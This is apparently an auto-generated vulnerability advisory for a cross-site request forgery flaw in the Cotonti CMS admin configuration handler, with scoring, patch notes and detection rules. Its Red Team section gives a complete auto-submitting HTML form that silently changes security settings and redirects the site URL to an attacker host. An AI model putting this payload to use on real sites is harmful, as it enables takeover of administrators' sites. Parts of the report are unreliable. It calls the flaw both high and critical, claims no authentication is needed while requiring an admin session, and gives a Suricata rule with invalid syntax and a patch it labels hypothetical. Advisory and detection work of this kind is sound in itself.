CVE-2026-55741
Executive Summary
CVE-2026-55741 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Cotonti 1.0.0 (master branch, commit f43f1fc3). The flaw resides in the administration configuration handler (system/admin/admin.config.php). Unlike other admin handlers that properly validate anti-CSRF tokens via cot_check_xg(), the configuration update action (a=update) processes POST data through cot_config_update_options() without performing this check. An attacker can trick an authenticated administrator into visiting a malicious page, causing the browser to submit a forged request that modifies arbitrary core, module, or plugin configuration options. This can be leveraged to weaken security settings, disable protections, or enable further compromise of the CMS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cotonti is a PHP-based content management system. The vulnerability exists in the core source code, not in a third-party package. However, administrators should verify the integrity of their Cotonti installation and ensure no unauthorized modifications have been made to the admin configuration handler.
CVSS Breakdown & Threat Level
CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The attack is carried out over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must be tricked into visiting a malicious page.
- Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
- Confidentiality (C): High – Configuration changes can expose sensitive data.
- Integrity (I): High – Arbitrary configuration modifications are possible.
- Availability (A): High – Configuration changes can disrupt service.
Threat Level: Critical. The vulnerability allows an attacker to modify any configuration option without authentication, potentially disabling security features, changing database credentials, or enabling remote code execution.
Deep Dive & Mechanics
The vulnerability is a classic CSRF flaw in the admin configuration handler. In Cotonti 1.0.0, the file system/admin/admin.config.php handles configuration updates. The action a=update is processed by the function cot_config_update_options(). This function updates configuration values in the database based on POST parameters.
Other admin handlers, such as admin.structure.php and admin.cache.php, include a call to cot_check_xg() which validates the anti-CSRF token (the x parameter). However, in admin.config.php, this check is missing. This means that any POST request to the configuration update endpoint will be processed without verifying that the request originated from the legitimate admin interface.
An attacker can craft a malicious HTML page that, when visited by an authenticated admin, automatically submits a POST request to the vulnerable endpoint. The request can include arbitrary configuration parameters, such as disabling security checks, changing the site URL, or modifying database settings.
Key Code Path:
- Admin navigates to
admin.php?m=config. - POST request to
admin.php?m=config&a=updatewith configuration parameters. cot_config_update_options()processes the request without CSRF token validation.- Configuration values are updated in the database.
Vulnerable vs. Patched Code
Vulnerable Code (admin.config.php):
// No CSRF check
if ($a == 'update') {
cot_config_update_options($cfg, $db, $db_config);
// ... redirect
}
Patched Code (hypothetical fix):
if ($a == 'update') {
// Add CSRF token validation
cot_check_xg();
cot_config_update_options($cfg, $db, $db_config);
// ... redirect
}
The patch simply adds a call to cot_check_xg() before processing the update. This function validates the x parameter against the session token, ensuring the request is legitimate.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Cotonti 1.0.0 instance with an authenticated admin session.
- Attacker-controlled web server or ability to inject HTML.
Exploit Steps:
- Create a malicious HTML page that auto-submits a POST request to the vulnerable endpoint.
- Host the page on an attacker-controlled server.
- Lure an authenticated admin to visit the page (e.g., via phishing email or social engineering).
- The admin's browser sends a forged POST request to
http://target/admin.php?m=config&a=updatewith malicious configuration parameters.
Example Malicious HTML:
<html>
<body>
<form id="csrf" action="http://target/admin.php?m=config&a=update" method="POST">
<input type="hidden" name="config[security][disable_xss_check]" value="1">
<input type="hidden" name="config[general][site_url]" value="http://attacker.com">
<input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Expected Outcome: The admin's configuration is modified, potentially disabling security features or redirecting the site.
Blue Team
Detection:
- Monitor for POST requests to
admin.php?m=config&a=updatewithout a validxparameter. - Look for unusual configuration changes in logs.
- Implement CSRF tokens on all admin actions.
Prevention:
- Apply the patch by adding
cot_check_xg()to the configuration update handler. - Use SameSite cookies to prevent cross-site requests.
- Implement additional CSRF protections such as custom headers.
Indicators of Compromise (IOCs)
- Network: POST requests to
/admin.php?m=config&a=updatewith missing or invalidxparameter. - Logs: Unusual configuration changes in Cotonti admin logs.
- File: Modified
system/admin/admin.config.php(if attacker patches the file). - Database: Unexpected values in the
cot_configtable.
Detection Engineering
YARA Rule
rule CVE_2026_55741_Cotonti_CSRF {
meta:
description = "Detects vulnerable Cotonti admin.config.php missing CSRF check"
author = "Valters IT"
date = "2026-01-01"
cve = "CVE-2026-55741"
strings:
$vuln_func = "cot_config_update_options"
$csrf_check = "cot_check_xg"
condition:
$vuln_func and not $csrf_check
}
Sigma Rule
title: Cotonti Admin Configuration CSRF Attempt
id: cve-2026-55741
status: experimental
description: Detects POST requests to Cotonti admin config update without CSRF token
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri: '/admin.php*'
cs-uri-query: '*m=config&a=update*'
filter:
cs-uri-query: '*x=*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions with valid token
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-55741 Cotonti Admin CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"m=config&a=update"; http_uri; pcre:"/^x=/"; negate; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Patch: Add
cot_check_xg()call beforecot_config_update_options()insystem/admin/admin.config.php. - Update Cotonti: Check for official updates or patches from the Cotonti project.
- Restrict Access: Limit admin panel access to trusted IPs or VPN.
Long-term Mitigations:
- Implement CSRF tokens on all state-changing admin actions.
- Use SameSite cookies (Lax or Strict) to prevent cross-site requests.
- Educate administrators about phishing and social engineering risks.
- Regularly audit configuration changes.
Workaround:
- If patching is not possible, disable the configuration update functionality or add a manual CSRF check via a web application firewall (WAF) rule.
Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.